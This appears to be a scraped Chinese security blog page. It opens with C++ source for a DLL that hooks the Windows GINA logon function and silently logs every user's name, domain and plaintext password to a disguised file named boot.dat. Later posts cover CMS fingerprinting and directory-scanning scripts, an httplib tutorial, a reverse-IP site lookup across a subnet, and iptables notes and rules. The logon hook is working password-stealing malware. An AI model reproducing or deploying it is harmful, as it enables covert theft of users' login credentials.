typedef int (WINAPI* WlxLoggedOutSAS)(
                                      PVOID                   pWlxContext, // pointer to GINA context
                                      DWORD                   dwSasType,   // Indicates that a user has typed the standard CTRL+ALT+DEL SAS.....
                                      PLUID                   pAuthenticationId,
                                      PSID                    pLogonSid,
                                      PDWORD                  pdwOptions,
                                      PHANDLE                 phToken,
                                      PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo,
                                      PVOID *                 pProfile
);


DWORD WINAPI StartHookWlxLoggedOutSAS(LPVOID lpParameter);

//自定义接管的API函数,形参保持一致  
int   WINAPI FunNewWlxLoggedOutSAS( PVOID  pWlxContext,DWORD dwSasType,PLUID pAuthenticationId,PSID  pLogonSid,
                                PDWORD                  pdwOptions,
                                PHANDLE                 phToken,
                                PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo,
                                PVOID *                 pProfile);
void WriteLog(  PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo);  // WLX_MPR_NOTIFY_INFOv
int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi);
void WriteCurrentTime(HANDLE hfile);
void HookWlxLoggedOutSAS();
void UnHookWlxLoggedOutSAS();

//定义字节对齐方式
#pragma pack(1)
  
struct HookTable{
    HMODULE         hMsgina;
    WlxLoggedOutSAS OldWlxLoggedOutSAS; // --->原始WlxLoggedOutSAS函数入口 -----> 修改前的WlxLoggedOutSAS函数指针
    WlxLoggedOutSAS NewWlxLoggedOutSAS; // --->自定义的函数
    unsigned char   OldCode[6];     /* mov edi,edi      \x8B\xFF
                                       push ebp         \x55
                                       mov ebp,esp      \x8B\xEC
                                    */
    unsigned char   JmpCode[6];     /* 
                                        \xE9\x00\x00\x00\x00
                                    */
};
//全局hook表
HookTable hooktable = {  
                        0 ,
                        0 ,                       // 初始化 OldWlxLoggedOutSAS为0
                        &FunNewWlxLoggedOutSAS ,  // 设置新的WlxLoggedOutSAS指针
                        "\x8B\xFF\x55\x8B\xEC" ,
                        "\xE9\x00\x00\x00\x00"   // 跳转到接下来的一条指令 "\xE9\x00\x00\x00\x00",
                        };
/*
------------------------------------
XP,2003系统中msgina.dll的入口点如下:
\x8B\xFF       mov  edi,edi
\x55           push ebp
\x8B\xEC       mov  ebp,esp


2000系统中msgina.dll的入口如下:
\x8B\xCO       mov  eax,eax
\x55           push ebp
\x8B\xEC       mov  ebp,esp


GINA DLLS are ignored in Windows Wista
------------------------------------
*/
#pragma pack()


BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
/************************************************************************/  
/* 函数说明:DLL的主函数                                             */  
/* 参数:                                                              */  
/* 返回值:                                                             */  
/************************************************************************/                       
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
         HANDLE hthread = CreateThread( 0 , 
             0 , 
             LPTHREAD_START_ROUTINE(StartHookWlxLoggedOutSAS) , 
             0 , 
             0 , 
             0);
         CloseHandle( hthread );
        break;  // 此处如果不从DLL返回到系统进程空间,将导致故障
    }
    return TRUE;
}



DWORD WINAPI StartHookWlxLoggedOutSAS(LPVOID lpParameter)
/************************************************************************/  
/* 函数说明:得到WlxLoggedOutSAS函数地址,并HOOK WlxLoggedOutSAS函数    */  
/* 参数:无                                                             */  
/* 返回值:0表示成功                                                    */  
/************************************************************************/  
{
    //得到msgina.dll  
    //hooktable.hMsgina  
    hooktable.hMsgina = GetModuleHandle( _T("msgina.dll"));
    if ( hooktable.hMsgina == NULL)
    {
        return 0 ;
    }
    //得到WlxLoggedOutSAS
    hooktable.OldWlxLoggedOutSAS = (WlxLoggedOutSAS)GetProcAddress( hooktable.hMsgina , _T("WlxLoggedOutSAS") );
    ////得到原始函数地址,等下撤销HOOK会用到 
    if (hooktable.OldWlxLoggedOutSAS == NULL)
    {
        return 0 ;
    }
    /*
    WlxLoggedOutSAS函数的入口:
    758D679B >    8BFF          mov     edi, edi
    758D679D   .  55            push    ebp
    758D679E   .  8BEC          mov     ebp, esp
    758D67A0   .  83EC 40       sub     esp, 40
    */    
    unsigned char *p = (unsigned char *)hooktable.OldWlxLoggedOutSAS;
    // 根据版本选择 msgina.dll WlxLoggedOutSAS入口代码
    for (int i=0 ;  i < 4 ; i++ )   // "\x8B\xFF\x55\x8B\xEC"总计5个字节
    {
        if (p[i] != hooktable.OldCode[i])  
        // 检测获取的WlxLoggedOutSAS入口数据是非与设定的数据相同[设定的是xp,2003版本]
        {
            return 0;
        }
    }
     //----------------重定位新的WlxLoggedOut入口点------------------
    int *OpCode = (int *)&hooktable.JmpCode[1];  // OpCode ---->75--[8D679B]   此处的Jmp[1]=00
    int Code = (int)hooktable.NewWlxLoggedOutSAS - (int)hooktable.OldWlxLoggedOutSAS - 5;
    // OpCode ---->75--[8D679B]   此处的Jmp[1]=00 

    *OpCode = Code;

    /*
    OpCode[0] = (BYTE)(Code & 0xff);
    OpCode[1] = (BYTE)((Code>>8) & 0xff);
    OpCode[2] = (BYTE)((Code>>16) & 0xff);
    OpCode[3] = (BYTE)((Code>>24)& 0xff);
    */

    HookWlxLoggedOutSAS();

    return 0;
}

void HookWlxLoggedOutSAS()
/************************************************************************/  
/* 函数说明:HOOK WlxLoggedOutSAS函数                                  */  
/* 参数:无                                                             */  
/* 返回值:无                                                           */  
/************************************************************************/  
{
    DWORD OldProtect = NULL;

    VirtualProtect( hooktable.OldWlxLoggedOutSAS ,
        5 ,
        PAGE_EXECUTE_READWRITE ,
        &OldProtect
        );  //OldProtect返回一个内存属性值

    unsigned char *p = (unsigned char *)hooktable.OldWlxLoggedOutSAS;
    
    for (int i=0 ;  i < 5 ; i++ )
    {
        p[i] = hooktable.JmpCode[i];  //现在JmpCode相当于E9 00 00 00 00   JmpCode[i]
    }

    VirtualProtect( hooktable.OldWlxLoggedOutSAS , 
        5 ,
        OldProtect ,
        &OldProtect 
        ); //将内存属性还原.

    return;
}

void UnHookWlxLoggedOutSAS()
/************************************************************************/  
/* 函数说明:HOOK WlxLoggedOutSAS函数                                   */  
/* 参数:无                                                             */  
/* 返回值:无                                                           */  
/************************************************************************/
{
    DWORD OldProtect = NULL;
    VirtualProtect( hooktable.OldWlxLoggedOutSAS ,
        5 , 
        PAGE_EXECUTE_READWRITE ,
        &OldProtect );
    
    unsigned char *p = (unsigned char *)hooktable.OldWlxLoggedOutSAS;
    
    for (int i=0 ;  i < 5 ; i++ ) // hook后将入口改回去
    {
        p[i] = hooktable.OldCode[i]; //hooktable[1]
    }
    
    VirtualProtect( hooktable.OldWlxLoggedOutSAS ,
        5 ,
        OldProtect ,
        &OldProtect );
    
    return;
}

void WriteLog(PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo)
/************************************************************************/  
/* 函数说明:将得到的用户名和密码信息写入文件中                       */  
/* 参数:pNprNotifyInfo 包含用户名和密码的结构体                        */  
/* 返回值:无                                                           */  
/************************************************************************/  
{
    int size_u = lstrlenW( pNprNotifyInfo->pszUserName );
    size_u += lstrlenW( pNprNotifyInfo->pszDomain );
    size_u += lstrlenW( pNprNotifyInfo->pszPassword );
    size_u += lstrlenW( pNprNotifyInfo->pszOldPassword );
    
    unsigned short *pWBuffer = (unsigned short *)GlobalAlloc( GMEM_FIXED , size_u + 1024 );
    char *pBuffer = (char *)GlobalAlloc( GMEM_FIXED , size_u + 1024 );
    
    ZeroMemory( pWBuffer  , size_u + 1024 );
    ZeroMemory( pBuffer  , size_u + 1024 ); // pWBuffer ------> pBuffer
    
    if ( !pBuffer )
    {
        return;
    }else
    {   //写进记录 八卦下,这里似乎也是可以调用socket来远程发送
        wsprintfW( pWBuffer ,
            L"\r\nUser    = %s \r\nDomain  = %s \r\nPass    = %s \r\nOldPass = %s\r\n\r\n" ,
            pNprNotifyInfo->pszUserName , //账号
            pNprNotifyInfo->pszDomain ,   //当前的组或域
            pNprNotifyInfo->pszPassword , //密码
            pNprNotifyInfo->pszOldPassword //旧密码
            );
        
        WideToByte( pBuffer ,
            pWBuffer ,
            lstrlenW( pWBuffer )
            );
    }
    char LogPath[MAX_PATH] = {0};
    GetSystemDirectory( LogPath , MAX_PATH); // 密码文件
    lstrcat( LogPath , "\\boot.dat"); //写进boot.dat里面
    HANDLE hfile = CreateFile(
        LogPath , 
        GENERIC_WRITE , 
        FILE_SHARE_WRITE ,
        0 ,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL ,
        0  );
    if (hfile != INVALID_HANDLE_VALUE)
    {
        unsigned long ret;
        SetFilePointer( hfile , -1 ,  0 , FILE_END);
        
        WriteCurrentTime( hfile );
        WriteFile( hfile , pBuffer , lstrlen( pBuffer ) ,  &ret , 0 );
        
        CloseHandle( hfile );
    }else
    {
        GetLastError();
    }
    
    GlobalFree( pWBuffer );
    GlobalFree( pBuffer  );
    return; // 返回到原线程
}
//记录SAS事件的事件
void WriteCurrentTime(HANDLE hfile)
{
    SYSTEMTIME st;
    DWORD ret = 0;
    
    GetLocalTime(&st);
    char buffer[200] ={0};
    wsprintf( buffer , "\r\n%d/%d/%d/%d:%d:%d" ,
        st.wYear ,
        st.wMonth ,
        st.wDay ,
        st.wHour ,
        st.wMinute,
        st.wSecond 
        );
    WriteFile( hfile , buffer , lstrlen( buffer ) ,  &ret , 0 );
}

int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi)
{
    //MessageBox(0,"WideToByte","---",MB_OK);
    return WideCharToMultiByte( CP_ACP ,
        WC_COMPOSITECHECK ,
        sz_source ,
        -1 ,
        sz_target ,
        size_ansi ,
        0 ,
        0 );
}
//================================================Hook后,预调用的函数=============================
//自定义WlxLoggedOutSAS函数,用于替换原函数,所以参数表与原函数完全一致
int WINAPI FunNewWlxLoggedOutSAS(
                 PVOID                   pWlxContext,
                 DWORD                   dwSasType,
                 PLUID                   pAuthenticationId,
                 PSID                    pLogonSid,
                 PDWORD                  pdwOptions,
                 PHANDLE                 phToken,
                 PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo,
                 PVOID *                 pProfile
)
{
    UnHookWlxLoggedOutSAS();
    //hooktable.OldWlxLoggedOutSAS即为原WlxLoggedOutSAS函数
    int i = hooktable.OldWlxLoggedOutSAS(pWlxContext  ,
                                        dwSasType , 
                                        pAuthenticationId ,
                                        pLogonSid ,
                                        pdwOptions ,
                                        phToken ,
                                        pNprNotifyInfo,
                                        pProfile
                                        );
    if (i = WLX_SAS_ACTION_LOGON )
    {

        //MessageBoxW( 0 , pNprNotifyInfo->pszUserName , pNprNotifyInfo->pszPassword , MB_OK);
        
        WriteLog( pNprNotifyInfo );
    }
    return i;
}

extern "C" __declspec(dllexport) void __stdcall EventStartup(DWORD Parameter) // extern "C" --C不能小写
{
    //MessageBox( 0 , "开机了" , "通知你" , MB_OK );
    return;
}

extern "C" __declspec(dllexport) void __stdcall EventLogon(DWORD Parameter)
{
    //MessageBox( 0 , "登录了" , "通知你" , MB_OK );
    return;
}

 

python 简易版的CMS识别

发布时间:May 4, 2015 // 分类:工作日志,代码学习,python // No Comments

早上朋友发给我这么一组数据,说是关于CMS识别的。问我是不是可以搞一个类似的出来

/member/images/dzh_logo.gif|dedecms|412f80bbedc1e3c62b7f5a5038a550e6
/images/share.gif|dedecms|cff38608748e421961c19818146241d4
/images/enums.js|dedecms|802e864c70aa6cfd766607a09ef0adf2
/include/demo_log.gif|instant|477efd7284722d6c7d311771389db162
/images/icon_shopping.gif|instant|acc33a6562f545f3d452b8ec33a09092
/js/prototype.js|mangallam|db88937debcf1dcdc1bb7a5d6ff05c39
/images/spacer.gif|mangallam|7236915534503a1c5a27f067b9e0c7a4
/images/admincp/cpicon.gif|mvmmall|5fa5b82e54ccc2be2e66dde9ef3cce0
/admin/css/bootstrap-slider/slider.css|codoforum|5bcd1306020b53f85fa77b2652783254
/admin/css/iCheck/flat/yellow.png|codoforum|334d87b0b6c68d804a7294563ce79791
/images/pay/chinabank.gif|mvmmall|36e82497e38131f07fdd5a6921452ebc
/language/cn/admin/lang.js|mvmmall|7f4afedaf683174cbb502fda58ffa93
/templets/default/images/ico-3.gif|dedecms|fc8945eb46b32113ad0ae510668f115a
/include/dedeajax2.js|dedecms|4479ffed41b6118bdbb9f05fe3e02bb2
/include/dedeajax2.js|dedecms|4479ffed41b6118bdbb9f05fe3e02bb2

早上没空,下午我仔细一看,是按照url |cms |md5hash 这样子来排列的。应该比较简单,但是最后一串的md5值还是不清楚怎么获取的。

#!/usr/bin/python
#-*- coding: utf-8 -*-
import hashlib
import httplib
import sys

def wahtcms(domain):
    f=open(r'cms1.txt','r')
    #open cms.txt to have some CMS
    urls = f.readlines()
    f.close()
    for url in urls:
        ur1,service,hashs = url.split('|',2)
        connection = httplib.HTTPConnection(domain,80,timeout=10)
        connection.request("GET",ur1)
        response = connection.getresponse()
        server = response.msg['Server']
        #X-Powered-By: WAF/2.0  .msg['X-Powered-By']
        #因为现在的WAF会造成误报
        data=response.reason
        if "OK" in data:
            if hashlib.md5(response.read()).hexdigest()!='04c89e24302940c24f55301c2257b2e9':
        #   这里04c89e24302940c24f55301c2257b2e9是404错误的
        #   这里的md5值计算了和给出的没有一个是相同的。
                print domain + " is " + service +" and Server is " + server
        connection.close()


if __name__ == "__main__":
    commandargs = sys.argv[1:]
    domain = "".join(commandargs)
    wahtcms(domain)

由于不知道最后一串的md5是计算的什么地方的。所以误报就很多很多了。(PS:反过来看到自己是拿status状态码来判断也是醉了。)

这个误报都吧自己给弄哭了~但是这个思路是可以用在目录扫描上倒是真的。

#!/usr/bin/python
#-*- coding: utf-8 -*-
import hashlib
import httplib
import sys

def wahtcms(domain):
    f=open(r'cms1.txt','r')
    #open cms.txt to have some CMS
    urls = f.readlines()
    f.close()
    for url in urls:
        ur1,service,hashs = url.split('|',2)
        connection = httplib.HTTPConnection(domain,80,timeout=2)
        connection.request("GET",ur1)
        response = connection.getresponse()
        server = response.msg['Server']
        #X-Powered-By: WAF/2.0  .msg['X-Powered-By']
        #因为现在的WAF会造成误报
        data=response.reason
        if "OK" in data:
            if hashlib.md5(response.read()).hexdigest()!='04c89e24302940c24f55301c2257b2e9':
        #   这里04c89e24302940c24f55301c2257b2e9是404错误的
        #   这里的md5值计算了和给出的没有一个是相同的。
                print domain + " is " + service +" and Server is " + server
        connection.close()

def scan(domain):
    s = open(r'dict/dir.txt','r')
    urls = s.readlines()
    s.close()
    for url in urls:
        connection = httplib.HTTPConnection(domain,80,timeout=2)
        connection.request("GET","/"+url)
        response = connection.getresponse()
        data = response.reason
        if "OK" in data or "Forbidden" in data:
            print "Found http://"+domain + "/"+url
        connection.close()


if __name__ == "__main__":
    commandargs = sys.argv[1:]
    domain = "".join(commandargs)
    scan(domain)

 

更新。使用https://github.com/chuhades/CMS-Exploit-Framework/blob/master/plugins/multi/whatweb.py进行修改

#!/usr/bin/env python
# coding=utf-8
import os
import re
import json
import random
import hashlib
import requests

domain = '0cx.cc'

'''
def finger(domain):
    with open('whatweb.json') as f:
        c = f.read()
        b = json.loads(c)
        for cms in b:
            #print cms
            for rule in b[cms]:
                print rule['url']

'''
class WhatWeb(object):
    """
    CMS 识别
    """
    def get_user_agent(self):
        user_agents = [
            "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
            "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
            "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",
            "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
            "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
            "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
            "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
            "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
            "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)",
            "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6",
            "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1",
            "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0",
            "Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5",
            "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6",
            "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20",
            "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",]
        return random.choice(user_agents)

    def __init__(self, url):
        self.cms = []
        with open("whatweb.json") as f:
            self.rules = json.load(f)
            for cms in self.rules:
                self.cms.append(cms)
        self.url = url
        self.result = ""

    def run(self):
        """
        识别 CMS
        :param cms: str, CMS 名称
        :return: str, CMS 名称
        """
        headers = {'User-Agent': self.get_user_agent()}
        for cms in self.cms:
            for rule in self.rules[cms]:
                try:
                    #print (self.url + rule["url"] + cms)
                    r = requests.get(self.url + rule["url"], timeout=15, headers=headers, verify=False)
                    r.encoding = r.apparent_encoding
                    r.close()
                    if ("md5" in rule
                        and hashlib.md5(r.content).hexdigest() == rule["md5"]) \
                            or ("field" in rule and rule["field"] in r.headers
                                and rule["value"] in r.headers[rule["field"]]) \
                            or ("text" in rule and rule["text"] in r.text) \
                            or ("regexp" in rule
                                and re.search(rule["regexp"], r.text)):
                        return cms

                except Exception:
                    pass

if __name__ == '__main__':
    URL = 'http://0day5.com'
    w = WhatWeb(URL)
    result = w.run()
    print result

python--httplib模块使用

发布时间:May 4, 2015 // 分类:代码学习,python,转帖文章 // No Comments

httplib是一个相对底层的http请求模块,其上有专门的包装模块,如urllib内建模块,goto等第三方模块,但是封装的越高就越不灵活,比如urllib模块里请求错误时就不会返回结果页的内容,只有头信息,对于某些需要检测错误请求返回值的场景就不适用,所以就得用这个模块了。

 

1、class httplib.HTTPConnection

说明:
该类用于创建一个http类型的请求链接

原型:
HTTPConnection(host[, port[, strict[, timeout]]])
host: 请求的服务器host,不能带http://开头
port: 服务器web服务端口
strict: 是否严格检查请求的状态行,就是http1.0/1.1 协议版本的那一行,即请求的第一行,默认为False,为True时检查错误会抛异常
timeout: 单次请求的超时时间,没有时默认使用httplib模块内的全局的超时时间

实例:
conn1 = HTTPConnection('www.baidu.com:80')
conn2 = HTTPconnection('www.baidu.com',80)
conn3 = HTTPConnection('www.baidu.com',80,True,10)
错误实例:
conn3 = HTTPConnection('www.baidu.com:80',True,10)

返回:
HTTPConnection类会实例并返回一个HTTPConnection对象


2、class httplib.HTTPSConnection
说明:
该类用于创建一个https类型的请求链接

原型:
HTTPSConnection(host[, port[, key_file[, cert_file[, strict[, timeout]]]]])
key_file:一个包含PEM格式的私钥文件
cert_file:一个包含PEM格式的认证文件
other:其它同http参数

实例:

conn3 = HTTPSConnection('accounts.google.com',443,key_file,cert_file,True,10)  

返回:
同样返回一个HTTPSConnection对象

注意:
要创建https链接,必须要保证底层的socket模块是支持ssl的编译模式,即编译时ssl选项的开关是开着的


3、HTTPConnection对象request方法:
说明:
发送一个请求

原型:
conn.request(method, url[, body[, headers]])
method: 请求的方式,如'GET','POST','HEAD','PUT','DELETE'等
url: 请求的网页路径。如:'/index.html'
body: 请求是否带数据,该参数是一个字典
headers: 请求是否带头信息,该参数是一个字典,不过键的名字是指定的http头关键字

实例:

conn.request('GET', '/', '', {'user-agent':'test'})  

返回:
无返回,其实就是相对于向服务其发送数据,但是没有最后回车


4、HTTPConnection对象getresponse方法
说明:
获取一个http响应对象,相当于执行最后的2个回车

原型/实例:

res = conn.getresponse()  

返回:
HTTPResponse对象


5、HTTPConnection对象close()方法
说明:
关闭指定的httpconnect链接

实例:

conn.close()  

6、HTTPResponse对象read方法
说明:
获得http响应的内容部分,即网页源码

原型:
body = res.read([amt])
amt: 读取指定长度的字符,默认为空,即读取所有内容

实例:

body = res.read()
pbody = res.read(10)

返回:
网页内容字符串


7、HTTPResponse对象的其它方法或属性
方法:
getheaders()
获得所有的响应头内容,是一个元组列表[(name,value),(name2,value2)]
getheader(name[,default])
获得指定的头内容
fileno()
socket的fileno

属性:
msg
所有的头信息,和getheaders方法一样,只不过这个是原始未处理的字符串
status
当次请求的状态
version
当次请求的http协议版本,10是http1.0, 11是http/1.1
reason
当次请求的结果的表述内容,200是ok,404是Not Found

总体实例:

#!/usr/bin/env python  
# -*- coding: utf-8 -*-  
import httplib
import urllib

 
def sendhttp():
    data = urllib.urlencode({'@number': 12524, '@type': 'issue', '@action': 'show'})   
    headers = {"Content-type": "application/x-www-form-urlencoded",
               "Accept": "text/plain"}
    conn = httplib.HTTPConnection('bugs.python.org')
    conn.request('POST', '/', data, headers)
    httpres = conn.getresponse()
    print httpres.status
    print httpres.reason
    print httpres.read()
           
              
if __name__ == '__main__':  
    sendhttp() 

当然还有其它的一些信息,比如异常类型,比如http的code对应表及查询字典等等,可以直接参考官网httplib文档:http://docs.python.org/library/httplib.html
from:http://blog.csdn.net/five3/article/details/7078951

python利用爱站查询C段域名的脚本

发布时间:May 2, 2015 // 分类:工作日志,运维工作,代码学习,python // No Comments

#-*- coding: utf-8 -*-
'''
利用爱站进行轮询查询整个C段内的网站
'''
  
import socket
import sys
import json
import requests
import re
import time
import thread
 
def scan(ip_str):
    '''
    检测扫描端口是否开启
    然后利用aizhan旁站进行遍历
    '''
    port = '80'
    cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    address=(str(ip_str),int(port))
    status = cs.connect_ex((address))
    #若返回的结果为0表示端口开启
    if(status == 0):
        cs2 = {'r' : 'index/domains' , 'ip' : ip_str}
        res2 = requests.get("http://dns.aizhan.com/index.php", params=cs2)
        ys = re.findall(r'"maxpage":(\d{1}),',res2.content)
        if(len(ys)==0):#如果不测量长度,就会报错IndexError: list index out of range
            print "%s" %(ip_str)
        elif(len(ys)>0):
            i=1
            while (i <= int(ys[0])):
                cs3 = {'r' : 'index/domains' , 'ip' : ip_str , 'page' : i}
                i +=1
                res3 = requests.get("http://dns.aizhan.com/index.php", params=cs3)
                url = json.loads(res3.content)['domains']
                print "%s" %(ip_str)
                for zhurl in url:
                    print zhurl   


    cs.close()
      
def find_ip(ip_prefix):
    '''
    给出当前的192.168.1 ,然后扫描整个段所有地址
    '''
    for i in range(1,256):
        ip = '%s.%s'%(ip_prefix,i)
        thread.start_new_thread(scan, (ip,))
        time.sleep(0.3)
       
if __name__ == "__main__":
    commandargs = sys.argv[1:]
    args = "".join(commandargs)    
     
    ip_prefix = '.'.join(args.split('.')[:-1])
    find_ip(ip_prefix)

Iptables处理数据包详细流程图

发布时间:May 2, 2015 // 分类:运维工作,工作日志,linux,转帖文章 // No Comments

iptables包流程如下:

1. 数据包到达网络接口,比如 eth0。
2. 进入 raw 表的 PREROUTING 链,这个链的作用是赶在连接跟踪之前处理数据包。
3. 如果进行了连接跟踪,在此处理。
4. 进入 mangle 表的 PREROUTING 链,在此可以修改数据包,比如 TOS 等。
5. 进入 nat 表的 PREROUTING 链,可以在此做DNAT,但不要做过滤。
6. 决定路由,看是交给本地主机还是转发给其它主机。
 
到了这里我们就得分两种不同的情况进行讨论了,一种情况就是数据包要转发给其它主机,这时候它会依次经过:
7. 进入 mangle 表的 FORWARD 链,这里也比较特殊,这是在第一次路由决定之后,在进行最后的路由决定之前,我们仍然可以对数据包进行某些修改。
8. 进入 filter 表的 FORWARD 链,在这里我们可以对所有转发的数据包进行过滤。需要注意的是:经过这里的数据包是转发的,方向是双向的。
9. 进入 mangle 表的 POSTROUTING 链,到这里已经做完了所有的路由决定,但数据包仍然在本地主机,我们还可以进行某些修改。
10. 进入 nat 表的 POSTROUTING 链,在这里一般都是用来做 SNAT ,不要在这里进行过滤。
11. 进入出去的网络接口。完毕。
 
另一种情况是,数据包就是发给本地主机的,那么它会依次穿过:
7. 进入 mangle 表的 INPUT 链,这里是在路由之后,交由本地主机之前,我们也可以进行一些相应的修改。
8. 进入 filter 表的 INPUT 链,在这里我们可以对流入的所有数据包进行过滤,无论它来自哪个网络接口。
9. 交给本地主机的应用程序进行处理。
10. 处理完毕后进行路由决定,看该往那里发出。
11. 进入 raw 表的 OUTPUT 链,这里是在连接跟踪处理本地的数据包之前。
12. 连接跟踪对本地的数据包进行处理。
13. 进入 mangle 表的 OUTPUT 链,在这里我们可以修改数据包,但不要做过滤。
14. 进入 nat 表的 OUTPUT 链,可以对防火墙自己发出的数据做 NAT 。
15. 再次进行路由决定。
16. 进入 filter 表的 OUTPUT 链,可以对本地出去的数据包进行过滤。
17. 进入 mangle 表的 POSTROUTING 链,同上一种情况的第9步。注意,这里不光对经过防火墙的数据包进行处理,还对防火墙自己产生的数据包进行处理。
18. 进入 nat 表的 POSTROUTING 链,同上一种情况的第10步。
19. 进入出去的网络接口。完毕。

分享一个不错的iptables的安全脚本

#!/bin/sh
#
modprobe ipt_MASQUERADE
modprobe ip_conntrack_ftp
modprobe ip_nat_ftp
iptables -F
iptables -t nat -F
iptables -X
iptables -t nat -X
###########################INPUT键###################################
iptables -P INPUT DROP
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp -m multiport --dports 110,80,25 -j ACCEPT
iptables -A INPUT -p tcp -s 192.168.0.0/24 --dport 139 -j ACCEPT
#允许内网samba,smtp,pop3,连接
iptables -A INPUT -i eth1 -p udp -m multiport --dports 53 -j ACCEPT
#允许dns连接
iptables -A INPUT -p tcp --dport 1723 -j ACCEPT
iptables -A INPUT -p gre -j ACCEPT
#允许外网vpn连接
iptables -A INPUT -s 192.186.0.0/24 -p tcp -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -i ppp0 -p tcp --syn -m connlimit --connlimit-above 15 -j DROP
#为了防止DOS太多连接进来,那么可以允许最多15个初始连接,超过的丢弃
iptables -A INPUT -s 192.186.0.0/24 -p tcp --syn -m connlimit --connlimit-above 15 -j DROP
#为了防止DOS太多连接进来,那么可以允许最多15个初始连接,超过的丢弃
iptables -A INPUT -p icmp -m limit --limit 3/s -j LOG --log-level INFO --log-prefix "ICMP packet IN: "
iptables -A INPUT -p icmp -j DROP
#禁止icmp通信-ping 不通
iptables -t nat -A POSTROUTING -o ppp0 -s 192.168.0.0/24 -j MASQUERADE
#内网转发
iptables -N syn-flood
iptables -A INPUT -p tcp --syn -j syn-flood
iptables -I syn-flood -p tcp -m limit --limit 3/s --limit-burst 6 -j RETURN
iptables -A syn-flood -j REJECT
#防止SYN攻击 轻量
#######################FORWARD链###########################
iptables -P FORWARD DROP
iptables -A FORWARD -p tcp -s 192.168.0.0/24 -m multiport --dports 80,110,21,25,1723 -j ACCEPT
iptables -A FORWARD -p udp -s 192.168.0.0/24 --dport 53 -j ACCEPT
iptables -A FORWARD -p gre -s 192.168.0.0/24 -j ACCEPT
iptables -A FORWARD -p icmp -s 192.168.0.0/24 -j ACCEPT
#允许 vpn客户走vpn网络连接外网
iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -I FORWARD -p udp --dport 53 -m string --string "tencent" -m time --timestart 8:15 --timestop 12:30 --days Mon,Tue,Wed,Thu,Fri,Sat  -j DROP
#星期一到星期六的8:00-12:30禁止qq通信
iptables -I FORWARD -p udp --dport 53 -m string --string "TENCENT" -m time --timestart 8:15 --timestop 12:30 --days Mon,Tue,Wed,Thu,Fri,Sat  -j DROP
#星期一到星期六的8:00-12:30禁止qq通信
iptables -I FORWARD -p udp --dport 53 -m string --string "tencent" -m time --timestart 13:30 --timestop 20:30 --days Mon,Tue,Wed,Thu,Fri,Sat  -j DROP
iptables -I FORWARD -p udp --dport 53 -m string --string "TENCENT" -m time --timestart 13:30 --timestop 20:30 --days Mon,Tue,Wed,Thu,Fri,Sat  -j DROP
#星期一到星期六的13:30-20:30禁止QQ通信
iptables -I FORWARD -s 192.168.0.0/24 -m string --string "qq.com" -m time --timestart 8:15 --timestop 12:30 --days Mon,Tue,Wed,Thu,Fri,Sat  -j DROP
#星期一到星期六的8:00-12:30禁止qq网页
iptables -I FORWARD -s 192.168.0.0/24 -m string --string "qq.com" -m time --timestart 13:00 --timestop 20:30 --days Mon,Tue,Wed,Thu,Fri,Sat  -j DROP
#星期一到星期六的13:30-20:30禁止QQ网页
iptables -I FORWARD -s 192.168.0.0/24 -m string --string "ay2000.net" -j DROP
iptables -I FORWARD -d 192.168.0.0/24 -m string --string "宽频影院" -j DROP
iptables -I FORWARD -s 192.168.0.0/24 -m string --string "色情" -j DROP
